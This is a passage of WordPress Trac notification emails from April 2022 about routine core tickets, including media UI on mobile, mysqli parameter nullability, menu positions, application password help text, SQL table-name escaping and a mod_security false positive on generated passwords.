Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.392be3ddba24498ff1163f8acb89772a@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, accessibility, patch | css, administration -------------------------------------+------------------------------------- Changes (by joedolson): * Attachment "54811.2.diff" added. Remove padding on mobile -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 19:56:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 19:56:45 -0000 Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.33a415681ac6f2cd3f1c472f85cec300@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, accessibility, patch | css, administration -------------------------------------+------------------------------------- Changes (by joedolson): * Attachment "54811-alignment.png" added. Change of alignment for permalink -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 19:57:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 19:57:38 -0000 Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.d7d7598715e823076253a3908aefc193@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, accessibility, patch | css, administration -------------------------------------+------------------------------------- Comment (by joedolson): I'm wondering if it makes sense to adjust the alignment on mobile; it's nominal, but it allos a bit more space for laying out the URL. Thoughts? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 20:50:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 20:50:27 -0000 Subject: [wp-trac] [WordPress Trac] #40415: Imagick resize filter hook In-Reply-To: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> References: <055.0b477ef1dc8e15f662c0700c42dcc103@wordpress.org> Message-ID: <070.33d0ffe3045de22d7d86898523c009a1@wordpress.org> #40415: Imagick resize filter hook -------------------------------------------------+------------------------- Reporter: virgodesign | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 4.7.3 Severity: normal | Resolution: Keywords: has-patch needs-testing reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "class-wp-image-editor-imagick.php.2.diff" added. `class-wp-image-editor-imagick.php.patch` refreshed against `trunk`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40415> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 20:58:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 20:58:24 -0000 Subject: [wp-trac] [WordPress Trac] #30154: Improve Media Modal UI at small-screen sizes: Redux In-Reply-To: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> References: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> Message-ID: <064.39c1acf31f98d47f6d51cfb329df1d47@wordpress.org> #30154: Improve Media Modal UI at small-screen sizes: Redux -------------------------------------------------+------------------------- Reporter: mor10 | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: ui, testing | javascript -------------------------------------------------+------------------------- Changes (by joedolson): * keywords: good-first-bug has-patch needs-refresh needs-testing => good- first-bug has-patch needs-testing Comment: It seems like the bulk of the content of this patch are invalid changes; most changes are white space modifications, which make it pretty difficult to figure out what was changed. But it appears that the only changes made were the addition of the 'imgedit-crop' class to hide the cropping controls. As of my testing today, cropping does work on mobile; though it's difficult to use due to the layout problems this ticket documents. Given that, I think that only the CSS changes are still relevant here. - Adjust the max-width in CSS to match other break points. - moved CSS changes from `/wp-includes/css/media-views.css` to `/wp- admin/css/media.css`, where other related settings CSS is already. At this point, I think this is a pretty straightforward change, and well worth committing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30154#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 20:59:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 20:59:24 -0000 Subject: [wp-trac] [WordPress Trac] #30154: Improve Media Modal UI at small-screen sizes: Redux In-Reply-To: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> References: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> Message-ID: <064.e35531d31c24f6e8e312c9c2ed4213db@wordpress.org> #30154: Improve Media Modal UI at small-screen sizes: Redux -------------------------------------------------+------------------------- Reporter: mor10 | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: ui, testing | javascript -------------------------------------------------+------------------------- Changes (by joedolson): * Attachment "30154.2.diff" added. Refreshed & updated patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30154> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:00:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:00:47 -0000 Subject: [wp-trac] [WordPress Trac] #54447: Site Icons on My Sites in multisite network causing performance issue In-Reply-To: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> References: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> Message-ID: <066.351cb095cc926c9cc10fa18305027b5e@wordpress.org> #54447: Site Icons on My Sites in multisite network causing performance issue -------------------------------------------------+------------------------- Reporter: wslyhbb | Owner: audrasjb Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Toolbar | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: multisite, commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit * status: reviewing => accepted Comment: Looks good to me. Marking for commit. Also adding `needs-dev-note` keyword for a quick mention in the Misc changes / media or toolbar dev note. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54447#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:12:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:12:48 -0000 Subject: [wp-trac] [WordPress Trac] #54447: Site Icons on My Sites in multisite network causing performance issue In-Reply-To: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> References: <051.d687bf3f592aa0cf10f2ef4a5216d7a0@wordpress.org> Message-ID: <066.3220032686f38838686ad0982a9b5c0a@wordpress.org> #54447: Site Icons on My Sites in multisite network causing performance issue -------------------------------------------------+------------------------- Reporter: wslyhbb | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Toolbar | Version: 5.8 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: multisite, commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53100" 53100]: {{{ #!CommitTicketReference repository="" revision="53100" Toolbar: Add a filter to help remove site icons from toolbar for large multisite, and lazy load them by default. This changeset introduces the `wp_admin_bar_show_site_icons` filter to help developers to hide site icons from the toolbar, as it may have negative performance impact on large multisites. It also adds a default lazy load behavior for these icons. Props wslyhbb, sabernhardt, lkraav, kebbet, peterwilsoncc. Fixes #54447 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54447#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:15:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:15:54 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.f32ee64b28e009b7e8ff0ee72638480e@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -----------------------------------+--------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: 2nd-opinion has-patch | Focuses: -----------------------------------+--------------------- Comment (by jrf): Saw mention of this ticket in Slack and thought I'd have a quick look. If I look at the patch + look at the usage of the `$port` variable in various places in the `wp-db.php` file, I'm seeing potential problems. The `$port` parameter in the `mysqli::real_connect()` function is ''optional'', but by the looks of it, it is not ''nullable''. See: https://www.php.net/manual/en/mysqli.real-connect.php As of PHP 8.1, passing `null` (the default value for `$port` in various places) to a non-nullable parameter will result in a deprecation notice and this will become a fatal error in PHP 9.0. As the potential use of `null` in these calls was not yet found so far via the test suite, this indicates to me there is also a shortage of tests covering this class. In other words, I would recommend the following actions: 1. Do a full review of the parameters passed to `mysqli::real_connect()`/`mysqli_real_connect()` function calls throughout the `wp-db.php` file to ensure parameter defaults passed will not cause PHP 8.1 deprecation notices. 2. Add dedicated tests to cover those situations with the risks of the deprecation notice to prevent regressions for any patches put in place. This includes adding tests to cover the currently proposed patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:20:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:20:37 -0000 Subject: [wp-trac] [WordPress Trac] #39636: Smilies not converted when directly followed by punctuation marks In-Reply-To: <053.d8e724c380ce128b2c2052290ced2151@wordpress.org> References: <053.d8e724c380ce128b2c2052290ced2151@wordpress.org> Message-ID: <068.05e4fdf479928896c48f5f50567adc9a@wordpress.org> #39636: Smilies not converted when directly followed by punctuation marks -------------------------+--------------------- Reporter: ourvalley | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Formatting | Version: 4.7.1 Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: -------------------------+--------------------- Changes (by costdev): * keywords: => 2nd-opinion Comment: Per the discussion in the bug scrub, I'm adding `2nd-opinion` to attract discussion on whether this change is desired. Regarding the expected behaviour, [https://wordpress.org/support/article /using-smilies/#why-doesnt-it-work-for-me see here]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39636#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:21:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:21:41 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.d0e7442cdcde14f80a371e65d886caeb@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Comment (by audrasjb): Ok fine @peterwilsoncc, the new PR looks good to me 👍 -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:26:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:26:01 -0000 Subject: [wp-trac] [WordPress Trac] #55523: Remove deprecation notice from get_the_excerpt In-Reply-To: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> References: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> Message-ID: <075.30567390d14075efe89041a4d1bc836b@wordpress.org> #55523: Remove deprecation notice from get_the_excerpt -------------------------------+------------------------------ Reporter: jamesglendenning | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.2 Severity: normal | Resolution: Keywords: close | Focuses: -------------------------------+------------------------------ Changes (by jrf): * keywords: => close Comment: Thanks for opening this ticket and your suggestion. > the deprecation notice is now just making noise The deprecation notice only makes "noise" when a boolean is passed to the function, which indicates a dev-error. I'd say keep the deprecation notice and fix the dev error instead. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55523#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:34:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:34:40 -0000 Subject: [wp-trac] [WordPress Trac] #54837: Mobile admin menu: Clicking on menu items hides the menu In-Reply-To: <054.ce183747a4e3ab9940e24b6099f31320@wordpress.org> References: <054.ce183747a4e3ab9940e24b6099f31320@wordpress.org> Message-ID: <069.fab9020b8baa4c69d672e23125fe1cf2@wordpress.org> #54837: Mobile admin menu: Clicking on menu items hides the menu ----------------------------+----------------------- Reporter: dhusakovic | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Administration | Version: 5.9 Severity: normal | Resolution: Keywords: | Focuses: ui ----------------------------+----------------------- Changes (by audrasjb): * owner: audrasjb => (none) * status: accepted => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/54837#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 22:49:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 22:49:56 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.d262b5491fa50bb0b8469a5f92afcfcf@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -----------------------------------+--------------------- Reporter: johnjamesjacoby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: 2nd-opinion has-patch | Focuses: -----------------------------------+--------------------- Comment (by jrf): @costdev did some testing regarding the non-nullablility and got confusing results, so I've now actually [https://github.com/php/php- src/blob/c68591fa1681dd63b34a429a3378c37f4a657d8d/ext/mysqli/mysqli.stub.php#L294-L306 checked the PHP source] and turns out the parameters **ARE** nullable and that the PHP manual is either wrong or just plain confusing. Sorry for causing confusion with my previous comment, though my remark about it being a good idea to add a test to cover the current patch still stands. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 23:00:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 23:00:35 -0000 Subject: [wp-trac] [WordPress Trac] #55543: `add_menu_page` incorrectly requires SVG icon data URIs be base64 encoded Message-ID: <057.ef9086b00d57fc426cef3fa1b3fd9146@wordpress.org> #55543: `add_menu_page` incorrectly requires SVG icon data URIs be base64 encoded ----------------------------+----------------------------- Reporter: peterwilsoncc | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: Severity: normal | Keywords: Focuses: | ----------------------------+----------------------------- To determine if a developer is using an SVG in a menu, `add_menu_page` checks for a string beginning with `data:image/svg+xml;base64,`. [https://css-tricks.com/probably-dont-base64-svg/ SVGs aren't required to be base64 encoded] and encoding with base64 can increase the size of the attribute. The check ought to be modified to allow for additional encodings. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55543> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 23:15:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 23:15:07 -0000 Subject: [wp-trac] [WordPress Trac] #53234: Application password access text is misleading for Super Admins In-Reply-To: <055.0e9d1b8f7ea2e3fdeb10ed7ba49893b2@wordpress.org> References: <055.0e9d1b8f7ea2e3fdeb10ed7ba49893b2@wordpress.org> Message-ID: <070.f19dabc72000fbdeb0ff9c37f3ebba80@wordpress.org> #53234: Application password access text is misleading for Super Admins --------------------------------------+------------------------ Reporter: johnbillion | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Application Passwords | Version: 5.6 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch | Focuses: multisite --------------------------------------+------------------------ Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53101" 53101]: {{{ #!CommitTicketReference repository="" revision="53101" Application Passwords: Use a more appropriate helper text message for super-admins. Previously, the helper text of the application password section was misleading for a Super Admin because an application password for a Super Admin grants access to all sites on the network, not just ones that they are a member of. This changeset provides a slightly different message for Super admin role. Props johnbillion, rsiddharth, audrasjb. Fixes #53234 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53234#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 00:01:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 00:01:33 -0000 Subject: [wp-trac] [WordPress Trac] #53234: Application password access text is misleading for Super Admins In-Reply-To: <055.0e9d1b8f7ea2e3fdeb10ed7ba49893b2@wordpress.org> References: <055.0e9d1b8f7ea2e3fdeb10ed7ba49893b2@wordpress.org> Message-ID: <070.63fbe38382dc66349f0eefa446759852@wordpress.org> #53234: Application password access text is misleading for Super Admins --------------------------------------+------------------------ Reporter: johnbillion | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Application Passwords | Version: 5.6 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch | Focuses: multisite --------------------------------------+------------------------ Comment (by SergeyBiryukov): In [changeset:"53102" 53102]: {{{ #!CommitTicketReference repository="" revision="53102" I18N: Add missing translator comment for application password helper text for Super Admins. Follow-up to [53101]. See #53234. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53234#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 00:02:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 00:02:15 -0000 Subject: [wp-trac] [WordPress Trac] #52506: Add escaping method for table names in SQL queries In-Reply-To: <054.a6f157534378801d055b15fc9931024f@wordpress.org> References: <054.a6f157534378801d055b15fc9931024f@wordpress.org> Message-ID: <069.bf456d25c698727fd97896e3d7836266@wordpress.org> #52506: Add escaping method for table names in SQL queries -------------------------------------------------+------------------------- Reporter: tellyworth | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future | Release Component: Database | Version: Severity: normal | Resolution: Keywords: dev-feedback has-patch has-unit- | Focuses: tests early | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: After discussing this with a number of contributors, it was decided to hold off for 6.0 while a few more things are worked out. Thanks for your tireless work on this, @craigfrancis, and I appreciate your understanding when we chatted a few hours ago. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52506#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 00:27:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 00:27:43 -0000 Subject: [wp-trac] [WordPress Trac] #52506: Add escaping method for table names in SQL queries In-Reply-To: <054.a6f157534378801d055b15fc9931024f@wordpress.org> References: <054.a6f157534378801d055b15fc9931024f@wordpress.org> Message-ID: <069.efeb73bee7b06d87687fddf8994ab7a4@wordpress.org> #52506: Add escaping method for table names in SQL queries -------------------------------------------------+------------------------- Reporter: tellyworth | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future | Release Component: Database | Version: Severity: normal | Resolution: Keywords: dev-feedback has-patch has-unit- | Focuses: tests early | -------------------------------------------------+------------------------- Comment (by craigfrancis): Replying to [comment:20 peterwilsoncc]: > it was decided to hold off for 6.0 while a few more things are worked out. Yep, np, I appreciate the need to be careful here. Out of interest though, what things need to be worked out? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52506#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 00:34:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 00:34:55 -0000 Subject: [wp-trac] [WordPress Trac] #55544: Script loader: Add `wp-a11y` as depenency of `wp-ajax-response`. Message-ID: <057.469fcce2c7e9d7bde444b42ae279df80@wordpress.org> #55544: Script loader: Add `wp-a11y` as depenency of `wp-ajax-response`. ---------------------------+-------------------- Reporter: peterwilsoncc | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Script Loader | Version: Severity: normal | Keywords: Focuses: javascript | ---------------------------+-------------------- In [52170] for #42937 some `wp.a11y.speak()` calls were added to `wp-ajax- response`. The dependency needs to be added to the script registration as a follow up. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55544> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 00:39:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 00:39:52 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.dbbb2443d08d6991e9e162e43c5fb5a3@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch | javascript, administration -------------------------------------+------------------------------------- Comment (by peterwilsoncc): I've created #55544 as an appropriate place to update the script registration. Including such items on commits for unrelated tickets can lead to reintroducing the bug if the commit needs to be reverted. `validateFile()` may also be used by plugins, adding the `trim()` requires more consideration on a dedicated ticket even if tags.js is probably the only place it's used. If the term name needs to be trimmed, it should be done in tags.js. This can be done on this ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 01:27:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 01:27:22 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.de4fa524f87bfc0f513901d408d19ccc@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Replying to [comment:30 audrasjb]: > Ok fine @peterwilsoncc, the new PR looks good to me 👍 Thanks JB, I'll commit with a `See` reference to figure out getting the doing it wrong call back in. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 02:59:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 02:59:23 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security In-Reply-To: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> References: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> Message-ID: <068.6be69ec852d9ce7738414fe584277f1e@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+------------------------------ Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Comment (by peterwilsoncc): Thanks @ReneHermi, I remembered overnight that the characters are three or more hexadecimal characters. When you were testing the WordPress password, did you include anything outside of `[a-f0-9]` in the first three characters after the `0x`? If so, would you be able to test with something like `0xa4detc,etc` as the password? Thanks for your help with this, I don't have access to a server with mod security so I really appreciate your testing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 03:10:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 03:10:12 -0000 Subject: [wp-trac] [WordPress Trac] #55226: Update class-wp-site-query.php - Change function parse_orderby() In-Reply-To: <053.ec450fb72885a823fd1521dec9619704@wordpress.org> References: <053.ec450fb72885a823fd1521dec9619704@wordpress.org> Message-ID: <068.931104e08fc01feb98296dea444d43fd@wordpress.org> #55226: Update class-wp-site-query.php - Change function parse_orderby() --------------------------------+--------------------- Reporter: lenasterg | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------------+--------------------- Comment (by peterwilsoncc): @lenasterg I've pushed some additional commits to your branch to add the additional booleans and include them in the documentation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55226#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 03:12:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 03:12:12 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.ca9924b01d3cdfc28d8816b7cc3c74fe@wordpress.org> #55395: Update Twemoji for 6.0 ----------------------------+----------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: accepted Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: Keywords: | Focuses: ----------------------------+----------------------- Changes (by peterwilsoncc): * type: enhancement => task (blessed) Comment: Marking this a task rather than an enhancement, work can continue after the enhancement deadline. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 03:41:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 03:41:19 -0000 Subject: [wp-trac] [WordPress Trac] #54703: Remove comment feed link if get_post_comments_feed_link() returns empty In-Reply-To: <055.48a2d3aa5fd769d9b992e03efd5e4a5e@wordpress.org> References: <055.48a2d3aa5fd769d9b992e03efd5e4a5e@wordpress.org> Message-ID: <070.169e428635a8fca6a868fa6b344759cc@wordpress.org> #54703: Remove comment feed link if get_post_comments_feed_link() returns empty ---------------------------------------------------+----------------------- Reporter: barryceelen | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Feeds | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing needs-refresh | Focuses: template ---------------------------------------------------+----------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing => has-patch needs-testing needs- refresh Comment: I think the PR will need a refresh, for much the same reason that @costdev identifies above. I think the if condition ought to be changed to something like this: {{{#!php <?php if ( ( comments_open() || pings_open() || $post->comment_count > 0 ) && '' !== get_post_comments_feed_link( $post->ID ) ) { // Display the feed. } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54703#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 03:45:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 03:45:15 -0000 Subject: [wp-trac] [WordPress Trac] #54572: Add a function for updating the existing role instead of removing, then adding one In-Reply-To: 